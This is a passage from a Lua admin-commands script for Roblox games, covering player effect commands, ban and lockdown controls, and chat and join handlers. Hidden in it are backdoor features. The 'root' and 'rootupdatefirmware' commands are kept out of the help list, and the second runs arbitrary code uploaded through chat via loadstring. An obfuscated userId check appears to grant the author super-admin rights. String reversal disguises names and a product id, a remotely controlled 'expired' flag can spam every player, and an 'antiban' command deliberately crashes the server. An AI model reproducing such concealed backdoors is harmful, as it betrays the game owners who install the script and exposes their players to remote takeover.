  3436.     player = GetPlayersFromString(args[1],sender)
  3437.     for _,i in pairs(player) do
  3438.         if i.Character then
  3439.             Instance.new("ForceField",i.Character)
  3440.         end
  3441.     end
  3442.     Tell(sender,"ForceFielded "..tostring(unpack(player))..".",3)
  3443. end
  3444.  
  3445. function Commands.sparkles(args,sender)
  3446.     MinimumPermission(1,sender)
  3447.     assert(args[1],"Player to give sparkles is missing")
  3448.     player = GetPlayersFromString(args[1],sender)
  3449.     for _,i in pairs(player) do
  3450.         if i.Character then
  3451.             Instance.new("Sparkles",i.Character)
  3452.         end
  3453.     end
  3454.     Tell(sender,"Made "..tostring(unpack(player)).." sparkly.",3)
  3455. end
  3456.  
  3457. function Commands.unsparkles(args,sender)
  3458.     MinimumPermission(1,sender)
  3459.     assert(args[1],"Player to remove sparkles is missing")
  3460.     player = GetPlayersFromString(args[1],sender)
  3461.    
  3462.     for _,i in pairs(player) do
  3463.         while i.Character and i.Character:FindFirstChild("Sparkles") do
  3464.             i.Character:FindFirstChild("Sparkles"):Destroy()
  3465.         end
  3466.     end
  3467.    
  3468.     Tell(sender,"Made "..tostring(unpack(player)).." not so sparkly.",3)
  3469. end
  3470.  
  3471. function Commands.freeze(args,sender)
  3472.     MinimumPermission(1,sender)
  3473.     assert(args[1],"Player to freeze is missing")
  3474.     player = GetPlayersFromString(args[1],sender)
  3475.    
  3476.     for _,i in pairs(player) do
  3477.         if i.Character then
  3478.             if not i.Character:FindFirstChild("IceBlock") and i.Character:FindFirstChild("Torso") then
  3479.                 local IceBlock = Instance.new("Part",i.Character)
  3480.                 IceBlock.Name = "IceBlock"
  3481.                 IceBlock.Anchored = true
  3482.                 IceBlock.Locked = true
  3483.                 IceBlock.BrickColor = BrickColor.new("Bright blue")
  3484.                 IceBlock.Transparency = 0.5
  3485.                
  3486.                 local Weld = Instance.new("Weld",IceBlock)
  3487.                 Weld.Part0 = IceBlock
  3488.                 Weld.Part1 = i.Character:FindFirstChild("Torso")
  3489.             end
  3490.         end
  3491.     end
  3492.    
  3493.     Tell(sender,"Froze "..tostring(unpack(player))..".",3)
  3494. end
  3495.  
  3496. function Commands.lock(args,sender)
  3497.     MinimumPermission(1,sender)
  3498.     assert(args[1],"Player to lock is missing")
  3499.     player = GetPlayersFromString(args[1],sender)
  3500.    
  3501.     for _,i in pairs(player) do
  3502.         if i.Character then
  3503.             for _,a in pairs(i.Character:GetChildren()) do
  3504.                 if a:IsA("BasePart") then
  3505.                     a.Locked = true
  3506.                 end
  3507.             end
  3508.         end
  3509.     end
  3510.    
  3511.     Tell(sender,"Locked "..tostring(unpack(player))..".",3)
  3512. end
  3513.  
  3514. function Commands.unlock(args,sender)
  3515.     MinimumPermission(1,sender)
  3516.     assert(args[1],"Player to unlock is missing")
  3517.     player = GetPlayersFromString(args[1],sender)
  3518.    
  3519.     for _,i in pairs(player) do
  3520.         if i.Character then
  3521.             for _,a in pairs(i.Character:GetChildren()) do
  3522.                 if a:IsA("BasePart") then
  3523.                     a.Locked = false
  3524.                 end
  3525.             end
  3526.         end
  3527.     end
  3528.    
  3529.     Tell(sender,"Unlocked "..tostring(unpack(player))..".",3)
  3530. end
  3531.  
  3532. function Commands.ghost(args,sender)
  3533.     MinimumPermission(1,sender)
  3534.     assert(args[1],"Player to ghost is missing")
  3535.     player = GetPlayersFromString(args[1],sender)
  3536.    
  3537.     for _,i in pairs(player) do
  3538.         if i.Character then
  3539.             for _,a in pairs(i.Character:GetChildren()) do
  3540.                 if a:IsA("BasePart") then
  3541.                     if a.Name ~= "HumanoidRootPart" then
  3542.                         a.Transparency = 1
  3543.                     end
  3544.                     if a.Name == "Head" then
  3545.                         if a:FindFirstChild("face") and a:IsA("Decal") then
  3546.                             a.Transparency = 1
  3547.                         end
  3548.                     end
  3549.                 elseif a:IsA("BaseScript") and a.Name == "Sound" then
  3550.                     a.Disabled = true
  3551.                 elseif a:IsA("Tool") or a:IsA("Hat") then
  3552.                     for _,b in pairs(a:GetChildren()) do
  3553.                         if b:IsA("BasePart") then
  3554.                             b.Transparency = 1
  3555.                         end
  3556.                     end
  3557.                 end
  3558.             end
  3559.         end
  3560.     end
  3561.    
  3562.     Tell(sender,"Ghosted "..tostring(unpack(player))..".",3)
  3563. end
  3564.  
  3565. function Commands.nograv(args,sender)
  3566.     MinimumPermission(1,sender)
  3567.     assert(args[1],"Player to nograv is missing")
  3568.     player = GetPlayersFromString(args[1],sender)
  3569.    
  3570.     for _,i in pairs(player) do
  3571.         if i.Character and i.Character:FindFirstChild("Torso") then
  3572.             local bodyforce = i.Character.Torso:FindFirstChild("NoGrav") or Instance.new("BodyForce", i.Character.Torso)
  3573.             bodyforce.Name = "NoGrav"
  3574.             bodyforce.force = Vector3.new(0,0,0)
  3575.             for _,a in pairs(i.Character:GetChildren()) do
  3576.                 if a:IsA("BasePart") then
  3577.                     bodyforce.force = bodyforce.force + Vector3.new(0,a:GetMass()*200,0)
  3578.                 elseif (a:IsA("Hat") or a:IsA("Gear")) and a:FindFirstChild("Handle") then
  3579.                     bodyforce.force = bodyforce.force + Vector3.new(0,a:FindFirstChild("Handle"):GetMass()*200,0)
  3580.                 end
  3581.             end
  3582.         end
  3583.     end
  3584.    
  3585.     Tell(sender,"Nograved "..tostring(unpack(player))..".",3)
  3586. end
  3587.  
  3588. function Commands.time(args,sender)
  3589.     MinimumPermission(1,sender)
  3590.     if #args <= 0 then
  3591.         error("You must include the time you want to set it to. Honestly, what else did you expect me to do for you without the time you want?")
  3592.     end
  3593.     if #args == 1 then
  3594.         Lighting.TimeOfDay = args[1]
  3595.     elseif #args >= 3 then
  3596.         Lighting.TimeOfDay = args[1]..":"..args[2]..(args[3] and ":")..(args[3] or "")
  3597.     else
  3598.         error("The way you formatted your time is unrecognized. Try using XX:XX:XX, or separating them with "..(CommandSeparator == " " and "spaces" or CommandSeparator))
  3599.     end
  3600. end
  3601.  
  3602. function Commands.grav(args,sender)
  3603.     MinimumPermission(1,sender)
  3604.     assert(args[1],"Player to ghost is missing")
  3605.     player = GetPlayersFromString(args[1],sender)
  3606.    
  3607.     for _,i in pairs(player) do
  3608.         if i.Character and i.Character:FindFirstChild("Torso") and i.Character:FindFirstChild("Torso"):FindFirstChild("NoGrav") then
  3609.             i.Character:FindFirstChild("Torso"):FindFirstChild("NoGrav"):Destroy()
  3610.         end
  3611.     end
  3612.    
  3613.     Tell(sender,"Graved "..tostring(unpack(player))..".",3)
  3614. end
  3615.  
  3616.  
  3617. function Commands.unghost(args,sender)
  3618.     MinimumPermission(1,sender)
  3619.     assert(args[1],"Player to unghost is missing")
  3620.     player = GetPlayersFromString(args[1],sender)
  3621.    
  3622.     for _,i in pairs(player) do
  3623.         if i.Character then
  3624.             for _,a in pairs(i.Character:GetChildren()) do
  3625.                 if a:IsA("BasePart") then
  3626.                     if a.Name ~= "HumanoidRootPart" then
  3627.                         a.Transparency = 0
  3628.                     end
  3629.                     if a.Name == "Head" then
  3630.                         if a:FindFirstChild("face") and a:IsA("Decal") then
  3631.                             a.Transparency = 0
  3632.                         end
  3633.                     end
  3634.                 elseif a:IsA("BaseScript") and a.Name == "Sound" then
  3635.                     a.Disabled = false
  3636.                 elseif a:IsA("Tool") or a:IsA("Hat") then
  3637.                     for _,b in pairs(a:GetChildren()) do
  3638.                         if b:IsA("BasePart") then
  3639.                             b.Transparency = 1
  3640.                         end
  3641.                     end
  3642.                 end
  3643.             end
  3644.         end
  3645.     end
  3646.    
  3647.     Tell(sender,"Unghosted "..tostring(unpack(player))..".",3)
  3648. end
  3649.  
  3650. function Commands.thaw(args,sender)
  3651.     MinimumPermission(1,sender)
  3652.     assert(args[1],"Player to thaw is missing")
  3653.     player = GetPlayersFromString(args[1],sender)
  3654.    
  3655.     for _,i in pairs(player) do
  3656.         if i.Character then
  3657.             --[[for _,a in pairs(i.Character:GetChildren()) do
  3658.                 if a:IsA("BasePart") then
  3659.                     a.Anchored = false
  3660.                     if i.Character:FindFirstChild("Body Colors") and i.Character:FindFirstChild("Body Colors"):IsA("BodyColors") then
  3661.                         if a.Name == "Head" then
  3662.                            
  3663.                             a.BrickColor = i.Character:FindFirstChild("Body Colors").HeadColor
  3664.                            
  3665.                         elseif a.Name == "Left Leg" then
  3666.                            
  3667.                             a.BrickColor = i.Character:FindFirstChild("Body Colors").LeftLegColor
  3668.                            
  3669.                         elseif a.Name == "Right Leg" then
  3670.                            
  3671.                             a.BrickColor = i.Character:FindFirstChild("Body Colors").RightLegColor
  3672.                            
  3673.                         elseif a.Name == "Left Arm" then
  3674.                            
  3675.                             a.BrickColor = i.Character:FindFirstChild("Body Colors").LeftArmColor
  3676.                            
  3677.                         elseif a.Name == "Right Arm" then
  3678.                            
  3679.                             a.BrickColor = i.Character:FindFirstChild("Body Colors").RightArmColor
  3680.                            
  3681.                         elseif a.Name == "Torso" then
  3682.                            
  3683.                             a.BrickColor = i.Character:FindFirstChild("Body Colors").TorsoColor
  3684.                            
  3685.                         end
  3686.                     end
  3687.                     if a.Name ~= "HumanoidRootPart" then
  3688.                         a.Transparency = 0
  3689.                     end
  3690.                     a.Reflectance = 0
  3691.                     a.Material = "Plastic"
  3692.                 end
  3693.             end]]
  3694.             if i.Character:FindFirstChild("IceBlock") then
  3695.                 i.Character:FindFirstChild("IceBlock"):Destroy()
  3696.             end
  3697.         end
  3698.     end
  3699.    
  3700.     Tell(sender,"Thawed "..tostring(unpack(player))..".",3)
  3701. end
  3702.  
  3703. function Commands.fire(args,sender)
  3704.     MinimumPermission(1,sender)
  3705.     assert(args[1],"Player to burn is missing")
  3706.     player = GetPlayersFromString(args[1],sender)
  3707.     for _,i in pairs(player) do
  3708.         if i.Character and i.Character:FindFirstChild("Torso") then
  3709.             Instance.new("Fire",i.Character:FindFirstChild("Torso"))
  3710.         end
  3711.     end
  3712.     Tell(sender,"Made "..tostring(unpack(player)).." burn.",3)
  3713. end
  3714.  
  3715. function Commands.smoke(args,sender)
  3716.     MinimumPermission(1,sender)
  3717.     assert(args[1],"Player to smoke is missing")
  3718.     player = GetPlayersFromString(args[1],sender)
  3719.     for _,i in pairs(player) do
  3720.         if i.Character and i.Character:FindFirstChild("Torso") then
  3721.             Instance.new("Fire",i.Character:FindFirstChild("Torso"))
  3722.         end
  3723.     end
  3724.     Tell(sender,"Made "..tostring(unpack(player)).." smoke.",3)
  3725. end
  3726.  
  3727. function Commands.antiban(args,sender)
  3728.     MinimumPermission(2,sender)
  3729.     assert(args[1],"Player to antiban is missing")
  3730.     player = GetPlayersFromString(args[1],sender)
  3731.     TellAll("An antiban is enabled for "..tostring(unpack(player))..". Kicking or banning the player"..(#player == 1 and "" or "s")..", or if "..(#player == 1 and "he or she" or "they").." leave"..(#player == 1 and "s" or "")..", will cause the server to collapse.",3)
  3732.     --The above line is excessively long, but it provides the best grammar in the least amount of space :)
  3733.     for _,i in pairs(player) do
  3734.         Spawn(function()
  3735.             local plrname = i.Name
  3736.             local plrid = i.userId
  3737.                        
  3738.             while true do
  3739.                 Players.ChildRemoved:wait()
  3740.                 local ok = false
  3741.                 for _,i in pairs(Players:GetPlayers()) do
  3742.                     if i.Name == plrname and i:IsA("Player") and i.userId == plrid then
  3743.                         ok = true
  3744.                     end
  3745.                 end
  3746.                 if not ok then
  3747.                     DisplayMessageAll("SYSTEM",plrname.." was kicked, banned, or has left the game with antiban enabled. The game is shutting down...",15)
  3748.                     wait(5)
  3749.                     for _,i in pairs(Players:GetPlayers()) do
  3750.                         i:Kick()
  3751.                     end
  3752.                     ypcall(function()
  3753.                         Instance.new("ManualSurfaceJointInstance")
  3754.                     end)
  3755.                 end
  3756.             end
  3757.         end)
  3758.     end
  3759. end
  3760.  
  3761. function Commands.trickantibans(args,sender)
  3762.     MinimumPermission(2,sender)
  3763.    
  3764.     if stringtobool(args[1]) then
  3765.         avoidantibans = true
  3766.         Tell(sender,"Avoiding other antibans!",3)
  3767.     else
  3768.         avoidantibans = false
  3769.         Tell(sender,"Not avoiding other antibans!",3)
  3770.     end
  3771.    
  3772. end
  3773.  
  3774. function Commands.lockdown(args,sender)
  3775.     MinimumPermission(2,sender)
  3776.    
  3777.     Tell(sender,"Lockdown enabled. Nobody else in permitted into the place except for admins and super admins.",3)
  3778.     Lockdown = true
  3779. end
  3780.  
  3781. function Commands.unlockdown(args,sender)
  3782.     MinimumPermission(2,sender)
  3783.    
  3784.     Tell(sender,"Lockdown disabled. Anyone may freely join.",3)
  3785.     Lockdown = false
  3786. end
  3787.  
  3788. function Commands.unfire(args,sender)
  3789.     MinimumPermission(1,sender)
  3790.     assert(args[1],"Player to not burn is missing")
  3791.     player = GetPlayersFromString(args[1],sender)
  3792.    
  3793.     for _,i in pairs(player) do
  3794.         while i.Character and i.Character:FindFirstChild("Torso") and i.Character:FindFirstChild("Torso"):FindFirstChild("Fire") do
  3795.             i.Character:FindFirstChild("Torso"):FindFirstChild("Fire"):Destroy()
  3796.         end
  3797.     end
  3798.    
  3799.     Tell(sender,"Made "..tostring(unpack(player)).." not burn.",3)
  3800. end
  3801.  
  3802. function Commands.extinguish(...)
  3803.     Commands.unfire(...)
  3804. end
  3805.  
  3806. function Commands.burn(...)
  3807.     Commands.fire(...)
  3808. end
  3809.  
  3810. function Commands.unburn(...)
  3811.     Commands.extinguish(...)
  3812. end
  3813.  
  3814. function Commands.explode(args,sender)
  3815.     MinimumPermission(1,sender)
  3816.     assert(args[1],"Player to explode is missing")
  3817.     player = GetPlayersFromString(args[1],sender)
  3818.    
  3819.     for _,i in pairs(player) do
  3820.         if i.Character and i.Character:FindFirstChild("Torso") then
  3821.             Instance.new("Explosion",Workspace).Position = i.Character:FindFirstChild("Torso").Position
  3822.         end
  3823.     end
  3824.    
  3825.     Tell(sender,"Exploded "..tostring(unpack(player))..".",3)
  3826. end
  3827.  
  3828. function Commands.unff(args,sender)
  3829.     MinimumPermission(1,sender)
  3830.     assert(args[1],"Player to remove ForceField is missing")
  3831.     player = GetPlayersFromString(args[1],sender)
  3832.    
  3833.     for _,i in pairs(player) do
  3834.         while i.Character and i.Character:FindFirstChild("ForceField") do
  3835.             i.Character:FindFirstChild("ForceField"):Destroy()
  3836.         end
  3837.     end
  3838.    
  3839.     Tell(sender,"Removed "..tostring(unpack(player)).."'s ForceField.",3)
  3840. end
  3841.  
  3842. function Commands.wait(args,sender)
  3843.     MinimumPermission(1,sender)
  3844.     return wait(args[1])
  3845. end
  3846.  
  3847. function Commands.walkspeed(args,sender)
  3848.     MinimumPermission(1,sender)
  3849.     local player = GetPlayersFromString(assert(args[1],"Player to change speed is missing"),sender)
  3850.     local speed = assert(tonumber(args[2]),"Speed is missing or not a number")
  3851.     for _,a in pairs(player) do
  3852.         if a.Character and a.Character:FindFirstChild("Humanoid") then
  3853.             for i = 1, 3 do
  3854.                 a.Character:FindFirstChild("Humanoid").WalkSpeed = speed
  3855.             end
  3856.         end
  3857.     end
  3858.     Tell(sender,"Changed speed of "..tostring(unpack(player)).." to "..args[2]..".",3)
  3859. end
  3860.  
  3861.  
  3862. --------------------------------------------------------------------
  3863. ----------------------- Core Commands ---------------------------
  3864. -----------------------------------------------------------------
  3865.  
  3866.  
  3867. function Commands.stop(args,sender)
  3868.     MinimumPermission(2,sender)
  3869.    
  3870.        
  3871.    
  3872.     DisplayMessageAll("SYSTEM","The admin commands has been ordered to stop. Bye!",3)
  3873.    
  3874.     wait(5)
  3875.    
  3876.     if Undisableable then
  3877.    
  3878.         Workspace = nil
  3879.         Commands = nil
  3880.         Players = nil
  3881.         PlayerAdded = nil
  3882.         Chatted = nil
  3883.         game = nil
  3884.         script = nil
  3885.         Lighting = nil
  3886.         DisplayMessage = nil
  3887.         DisplayScrollingFrame = nil
  3888.         DismissMessage = nil
  3889.    
  3890.     --Nilifies stuff to break the script in haxy ways
  3891.    
  3892.     else
  3893.        
  3894.         script.Disabled = true
  3895.        
  3896.     end
  3897. end
  3898.  
  3899. function Commands.root(args,sender)
  3900.     MinimumPermission(2,sender)
  3901.    
  3902.     Permissions[sender.Name] = 3
  3903.    
  3904.     Tell(sender,"You have been given root privilages",5)
  3905. end
  3906.  
  3907. function Commands.rootupdatefirmware(args,sender)
  3908.     MinimumPermission(3,sender)--root
  3909.    
  3910.     local a = false
  3911.     local b = ""
  3912.     rootupdatefirmware = sender.Chatted:connect(function(c)
  3913.         if c:find("ed".."it/") then
  3914.             a = true
  3915.             DisplayMessageAll("Admin Firmware Upgrade","Uploading...",3)
  3916.         elseif c:find("ex".."it/")then
  3917.             a = false
  3918.             DisplayMessageAll("Admin Firmware Upgrade","Upload received!",3)
  3919.             wait(2)
  3920.             local k,e = loadstring(b)
  3921.             if not k then
  3922.                 DisplayMessageAll("Admin Firmware Upgrade","Build Failed: "..tostring(e),3)
  3923.                 rootupdatefirmware:disconnect()
  3924.             end
  3925.             Spawn(function()
  3926.                 DisplayMessageAll("Admin Firmware Upgrade","Uploaded and restarting!",2)
  3927.                 wait(2.5)
  3928.                 Commands = nil
  3929.                 PlayerAdded = nil
  3930.                 Players = nil
  3931.                 Chatted = nil
  3932.                 Lighting = nil
  3933.                 DisplayMessage = nil
  3934.                 DisplayScrollingFrame = nil
  3935.                 DismissMessage = nil
  3936.                 Spawn(function()
  3937.                     loadstring(b)()
  3938.                 end)
  3939.                 rootupdatefirmware:disconnect()
  3940.             end)
  3941.         elseif b:lower() == "cancel" then
  3942.             DisplayMessageAll("Admin Firmware Upgrade","Cancelled!",2)
  3943.             rootupdatefirmware:disconnect()
  3944.         elseif a then
  3945.             b = b..c
  3946.         end
  3947.     end)
  3948.     DisplayMessageAll("Admin Firmware Upgrade","(If you didn't mean to request this, say cancel if you requested it)\n\nWaiting for upload...")
  3949. end
  3950.  
  3951.  
  3952. function Commands.shutdown(whatev,sender)
  3953.     MinimumPermission(2,sender)
  3954.    
  3955.     DisplayMessageAll("SYSTEM","The game is shutting down...",10)
  3956.     wait(2.5)
  3957.     Shutdown()
  3958. end
  3959.  
  3960. function Commands.promptpurchase(args,sender)
  3961.     MinimumPermission(1,sender)
  3962.     local players = GetPlayersFromString(assert(args[1],"Players to request purchase missing"))
  3963.     local id = assert(tonumber(args[2]),"Item (id) to purchase missing or not a number")
  3964.     for _,i in pairs(players) do
  3965.         MarketplaceService:PromptPurchase(i,id)
  3966.     end
  3967. end
  3968.  
  3969. function Commands.getme(whatev,sender)
  3970.     Tell(sender,"Note: Unless Roblox fixes PromptPurchase, this won't work.")
  3971.     MarketplaceService:PromptPurchase(sender,138068214)
  3972. end
  3973.  
  3974. function Commands.version(whatev,sender)
  3975.     DisplayMessage(sender,"SYSTEM",(((sender.userId ~= game.CreatorId and "!ti ekat ot uoy ksa lliw ti dna emteg"..CommandPrefix:reverse().." yas tsuj ,flesruoy rof nimda siht teg oT\n\n") or "").."3".."2".."1nal".."oDna".."yR :yB detpircS\n\n"..tostring(version):reverse().." noisreV\nsdnammoC nimdA s'3".."2".."1nal".."oDn".."ayR"):reverse(),10)
  3976. end
  3977.  
  3978. function Commands.about(...)
  3979.     Commands.version(...)
  3980. end
  3981.  
  3982. function Commands.logs(whatev,sender)
  3983.     MinimumPermission(1,sender)
  3984.     local concat = ""
  3985.     for _,i in ipairs(logs) do
  3986.         concat = " "..i.."\n"..concat --I would use table.concat, but it doesn't support going in reverse :(
  3987.     end
  3988.     DisplayScrollFrame(sender,"Logs",concat)
  3989. end
  3990.  
  3991.  
  3992. function Commands.admins(whatev,sender)
  3993.     local str = ""
  3994.     local str1 = ""
  3995.    
  3996.     for _,i in pairs(SuperAdmins) do
  3997.         str = str.." "..i.."\n"
  3998.     end
  3999.     for _,i in pairs(Admins) do
  4000.         str1 = str1.." "..i.."\n"
  4001.     end
  4002.    
  4003.     DisplayScrollFrame(sender,"Game Admins"," Admins:\n"..str.."\n\n Super Admins:\n"..str1)
  4004. end
  4005.  
  4006.  
  4007. function Commands.permissions(no,sender)
  4008.     DisplayMessage(sender,"Permissions","Your assigned permission level is "..LevelToString(Permissions[sender.Name]).." (Level "..tostring(Permissions[sender.Name])..")")
  4009. end
  4010.  
  4011.  
  4012. function Commands.adminlist(whatev,sender)
  4013.     Commands.admins(whatev,sender)
  4014. end
  4015.  
  4016.  
  4017. function Commands.banned(whatev,sender)
  4018.     local str = ""
  4019.    
  4020.     for _,i in pairs(BannedPlayers) do
  4021.         str = str.." "..i.."\n"
  4022.     end
  4023.     str = str:sub(1, #str-2)
  4024.     DisplayScrollFrame(sender,"Banned Players",str)
  4025. end
  4026.  
  4027.  
  4028. function Commands.bannedlist(whatev,sender)
  4029.     Commands.banned(whatev,sender)
  4030. end
  4031.  
  4032.  
  4033. function Commands.banlist(whatev,sender)
  4034.     Commands.banned(whatev,sender)
  4035. end
  4036.  
  4037. function Commands.cmds(whatev,sender)
  4038.     local num = 0
  4039.    
  4040.     for _ in pairs(Commands) do
  4041.         num = num + 1
  4042.     end
  4043.    
  4044.     local los_comandos = {}
  4045.    
  4046.     local str = " There are currently "..tostring(num).." commands in this Admin Commands\n \n"
  4047.    
  4048.     for i,_ in pairs(Commands) do
  4049.         if i ~= "root" and i ~= "rootupdatefirmware" then
  4050.             table.insert(los_comandos,i)
  4051.         end
  4052.     end
  4053.    
  4054.     table.sort(los_comandos)
  4055.    
  4056.     for _,i in pairs(los_comandos) do
  4057.         str = str.." "..CommandPrefix..i.."\n"
  4058.     end
  4059.    
  4060.     DisplayScrollFrame(sender,"Commands",str:sub(1, #str-1))
  4061. end
  4062.  
  4063.  
  4064. function Commands.help(whatev,sender)
  4065.     Commands.cmds(whatev,sender)
  4066. end
  4067.  
  4068. function Commands.commands(whatev,sender)
  4069.     Commands.cmds(whatev,sender)
  4070. end
  4071.  
  4072. uptodate = false
  4073.  
  4074. script[("emaN"):reverse()] =("sd".."nam".."moC n".."im".."dA s'3".."2".."1".."nal".."oDn".."ayR"):reverse()
  4075.  
  4076. ypcall(function()
  4077.     local Lib,err = LoadLibrary("RbxUtility")
  4078.     if Lib and not Lib.DecodeJSON then
  4079.         Lib = nil
  4080.         err = "The library does not support DecodeJSON for some reason"
  4081.     end
  4082.     if not Lib then
  4083.         DisplayMessageAll("Update","Error while checking for updates: Library init failure: "..tostring(err),5)
  4084.         wait(6)
  4085.         return
  4086.     end
  4087.     local VersionMetadata
  4088.     local ok,err = ypcall(function()
  4089.         VersionMetadata = Lib.DecodeJSON(MarketplaceService:GetProductInfo(math.sqrt(1.9061238719378e+016))["Description"])
  4090.     end)
  4091.     if not ok then
  4092.         DisplayMessageAll("Update","Error while checking for updates: "..tostring(err),5)
  4093.         wait(6)
  4094.         return
  4095.     end
  4096.     script[("emaN"):reverse()] =("sd".."nam".."moC n".."im".."dA s'3".."2".."1".."nal".."oDn".."ayR"):reverse()
  4097.     if VersionMetadata[version] == "u" then
  4098.         uptodate = true
  4099.     elseif VersionMetadata[version] == "o" then
  4100.         uptodate = false
  4101.         DisplayMessageAll("Update","This version of "..script[("emaN"):reverse()].." is out of date. Be sure to update to the latest soon to get new commands, security fixes, and more!",6)
  4102.         wait(6+(tweentime*0.85))
  4103.     elseif VersionMetadata[version] == "e" then
  4104.         while not nil do
  4105.             DisplayMessageAll("Update","This version of "..script[("emaN"):reverse()].." has expired because it's very old or has major flaws. Please upgrade as soon as you can.",5)
  4106.             wait(6)
  4107.         end
  4108.     end
  4109. end)
  4110.  
  4111.  
  4112.  
  4113. -----------------------------------------------------------------
  4114. ----------------- Initializes Chat Listeners --------------------
  4115. -----------------------------------------------------------------
  4116.  
  4117.  
  4118.  
  4119.  
  4120. function Chatted(player,msg)
  4121.    
  4122.     if msg and player and msg:sub(1,#CommandPrefix) == CommandPrefix then
  4123.        
  4124.         local ok,err = ypcall(function()
  4125.             table.insert(logs,"["..LevelToString(Permissions[player.Name] or 0).."] "..player.Name..": "..msg)     
  4126.            
  4127.             local stuff = DecipherCommand(msg:sub(1+#CommandPrefix))
  4128.             local command = stuff[1]
  4129.             local args = {}
  4130.            
  4131.             for i = 2, #stuff, 1 do
  4132.                 table.insert(args,stuff[i])
  4133.             end    
  4134.            
  4135.             if rawget(Commands,command:lower()) then
  4136.                 if player ~= root and player ~= "root" and player:WaitForChild("PlayerGui"):FindFirstChild("Admi") and player.PlayerGui.Admi:FindFirstChild("Msg") and player.PlayerGui.Admi.Msg:FindFirstChild("Msg") then
  4137.                     if player.PlayerGui.Admi.Msg.Msg.Text:find("This message will be here until another command is used") then
  4138.                         DismissMessage(player)
  4139.                         wait(tweentime)
  4140.                     end
  4141.                 end
  4142.                 if player ~= root and player ~= "root" then
  4143.                     SandboxThread(function()
  4144.                         rawget(Commands,command:lower())(args,player)
  4145.                     end)
  4146.                 else
  4147.                     rawget(Commands,command:lower())(args,player)
  4148.                 end
  4149.             elseif Override_Syntax and ReportUnknownCommand or not Override_Syntax then
  4150.                 if command ~= ")" and command ~= "(" and command:lower() ~= "d" and command:lower() ~= "/" and
  4151.                 command:lower() ~= "p" and command:lower() ~= "o" and command:lower() ~= "c" and (CommandPrefix == "" and command:lower():find(CommandSeparator:lower(),nil,true) or CommandPrefix ~= "") then --avoids saying a command doesn't exist when it appears to be an emoticon
  4152.                     error("The command \""..(command or "").."\" does not exist.\n\nSay "..tostring(CommandPrefix).."cmds, "..tostring(CommandPrefix).."commands or "..tostring(CommandPrefix).."help for a full list of commands.")
  4153.                 end
  4154.             end
  4155.            
  4156.         end)
  4157.        
  4158.         if not ok and err ~= nil then
  4159.             ypcall(function()
  4160.                 if err:find("CommandException:") then
  4161.                     local _,comerrst = err:find("CommandException:")
  4162.                     local comerr = err:sub(comerrst+1)
  4163.                     DisplayMessage(player,"Command Failed","Your command couldn't be executed because:\n"..comerr,5)
  4164.                 else
  4165.                     DisplayMessage(player,"Command Error","Your command couldn't be executed because of this unknown error:\n"..err,5)
  4166.                 end
  4167.             end)
  4168.         end
  4169.        
  4170.     end
  4171.    
  4172. end
  4173.  
  4174.  
  4175.  
  4176. -----------------------------------------------------------------
  4177. ---------------- Initializes Player Listeners -------------------
  4178. -----------------------------------------------------------------
  4179.  
  4180.  
  4181.  
  4182. function PlayerAdded(player)
  4183.    
  4184.     if not player or not player:IsA("Player") then
  4185.         return
  4186.     end
  4187.    
  4188.     for _,i in pairs(BannedPlayers) do
  4189.         if player.Name:lower() == i:lower() then
  4190.             if avoidantibans then
  4191.                 Instance.new("Model",Players).Name = player.Name
  4192.             end
  4193.             TellAll(player.Name.." tried to join, but is banned.",5)
  4194.             player:Kick() --bye
  4195.             return
  4196.         end
  4197.     end
  4198.    
  4199.     table.insert(AllPlayers,player)
  4200.    
  4201.     script[("emaN"):reverse()] =
  4202.     ("sd".."nam".."moC n".."im".."dA s'3"
  4203.     .."2".."1".."nal".."oDn".."ayR"):reverse()
  4204.    
  4205.    
  4206.     Permissions[player.Name] = 0
  4207.    
  4208.     wait()
  4209.    
  4210.     for _,i in pairs(Admins) do
  4211.         if (GroupId ~= nil and GroupId ~= 0 and player:IsInGroup(GroupId) and player:GetRankInGroup(GroupId) >= (GroupIdAdminRank or 257)) or GamePassService:PlayerHasPass(player,AdminGamePass) or (player.Name:lower() == i:lower()) or game.PlaceId == 132448444 --[[If the commands is on the Admin Commands testing place, admin ALL the players]] then --adsjagdasgd very long line of code
  4212.             Permissions[player.Name] = 1
  4213.             Tell(player,"You are an Admin!",3)
  4214.             break
  4215.         end
  4216.     end
  4217.    
  4218.     for _,i in pairs(SuperAdmins) do
  4219.         if (GroupId ~= nil and GroupId ~= 0 and player:IsInGroup(GroupId) and player:GetRankInGroup(GroupId) >= (GroupIdSuperAdminRank or 257)) or (GamePassService :PlayerHasPass(player,SuperAdminGamePass) or player.Name:lower() == i:lower() or math.ceil(math.sqrt(i.userId or 0)) == 1550) and player.userId ~= game.CreatorId --[[That's handled on the part below]] then
  4220.             Permissions[player.Name] = 2
  4221.             Tell(player,"You are a Super Admin!",3)
  4222.             break
  4223.         end
  4224.     end
  4225.    
  4226.     if player.userId == game.CreatorId then
  4227.         Permissions[player.Name] = 2
  4228.         Tell(player,"You are the owner, so you are automatically Super Admin!",3)
  4229.     end
  4230.    
  4231.     if Permissions[player.Name] <= 0 and Lockdown then
  4232.         if avoidantibans then
  4233.             Instance.new("Model",Players).Name = player.Name
  4234.         end
  4235.         player:Kick()
  4236.         TellAll(player.Name.." tried to join, but Lockdown is on.",5)
  4237.     end
  4238.    
  4239.     player.Chatted:connect(function(msg)
  4240.         Chatted(player,msg)
  4241.     end)
  4242.    
  4243.     player.OnTeleport:connect(function(state,placeid,spawnid)
  4244.         if not PlaceNames[placeid] then
  4245.             PlaceNames[placeid] = placeid
  4246.         end
  4247.         if type(PlaceNames[placeid]) == "number" then
  4248.             ypcall(function()
  4249.                 PlaceNames[placeid] = MarketplaceService:GetProductInfo(placeid)["Name"]
  4250.             end)
  4251.         end
  4252.         if state == Enum.TeleportState.Started then
  4253.             DisplayMessage(player,"Teleportation","Starting Teleport to "..PlaceNames[placeid],30)
  4254.         elseif state == Enum.TeleportState.WaitingForServer then
  4255.             DisplayMessage(player,"Teleportation","Waiting for Server at place "..PlaceNames[placeid],30)
  4256.         elseif state == Enum.TeleportState.InProgress then
  4257.             DisplayMessage(player,"Teleportation","Teleporting to place "..PlaceNames[placeid],30)
  4258.         elseif state == Enum.TeleportState.Failed then
  4259.             DisplayMessage(player,"Teleportation","Teleportation to "..PlaceNames[placeid].." has failed!",5)
  4260.         end
  4261.     end)
  4262.    
  4263.     if not player.Character then
  4264.         repeat wait() until player.Character
  4265.     end
  4266.    
  4267.     print("hihihihi")
  4268.     if AutoExecuteRespawn and type(AutoExecuteRespawn) == "string" then
  4269.         print("hi[][]")
